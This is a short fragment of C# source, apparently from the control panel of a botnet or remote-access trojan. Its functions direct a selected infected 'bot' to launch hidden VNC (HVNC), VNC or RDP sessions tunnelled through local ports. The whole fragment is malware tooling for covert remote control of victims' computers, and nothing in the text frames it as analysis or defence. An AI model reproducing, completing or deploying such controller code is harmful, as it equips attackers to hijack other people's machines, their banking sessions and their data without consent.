void StartHVNC(Socket sc, ClientBot bot) { short port; if (!GetInt16(sc, out port)) { return; } if (port > 0) { bot.CreateService(Sender.ID_HVNC, BitConverter.GetBytes(port), "HVNC:" + port.ToString(), Encoding.ASCII.GetBytes("127.0.0.1:" + port.ToString())); } else { bot.CreateService(Sender.ID_HVNC, BitConverter.GetBytes(port), "HVNC", null); } }
private void btRunRDP_Click(object sender, EventArgs e) { if (lvBots.SelectedItems.Count == 1) { ClientBot bot = (ClientBot)lvBots.SelectedItems[0].Tag; bot.CreateService(Sender.ID_RDP, null, "RDP", Encoding.ASCII.GetBytes("127.0.0.1:3389")); } }
private void btRunVNC_Click(object sender, EventArgs e) { if (lvBots.SelectedItems.Count == 1) { ClientBot bot = (ClientBot)lvBots.SelectedItems[0].Tag; short port; if (short.TryParse(tbVNCPort.Text, out port)) { if (port > 0) { bot.CreateService(Sender.ID_VNC, BitConverter.GetBytes(port), "VNC:" + port.ToString(), Encoding.ASCII.GetBytes("127.0.0.1:" + port.ToString())); } else { bot.CreateService(Sender.ID_VNC, BitConverter.GetBytes(port), "VNC", null); } } } }
void StartRDP(Socket sc, ClientBot bot) { bot.CreateService(Sender.ID_RDP, null, "RDP", Encoding.ASCII.GetBytes("127.0.0.1:3389")); }